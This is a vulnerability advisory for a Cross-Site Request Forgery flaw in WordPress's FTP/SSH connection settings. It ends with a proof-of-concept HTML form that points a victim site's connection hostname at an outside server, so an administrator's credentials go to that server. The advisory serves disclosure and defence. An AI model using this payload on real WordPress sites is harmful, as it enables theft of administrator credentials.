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Cross-Site Request Forgery in WordPress Connection Information
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Yorick Koster, July 2016
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Abstract
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The FTP/SSH form functionality of WordPress was found to be vulnerable
to Cross-Site Request Forgery. This vulnerability can be used to
overwrite the FTP or SSH connection settings of the affected WordPress
site. An attacker can use this issue to trick an Administrator into
logging into the attacker's FTP or SSH server, disclosing his/her login
credentials to the attacker. In order to exploit this vulnerability, the
attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.
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OVE ID
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OVE-20160717-0004
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Tested versions
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This issue was successfully tested on the WordPress version 4.5.3 up
till and including version 4.7.4.
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html
This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values:
- hostname
- username
- connection_type
The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/plugins.php" method="POST">
<input type="hidden" name="hostname" value="sumofpwn.nl" />
<input type="hidden" name="connection_type" value="ftp" />
<input type="hidden" name="password" value="password" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
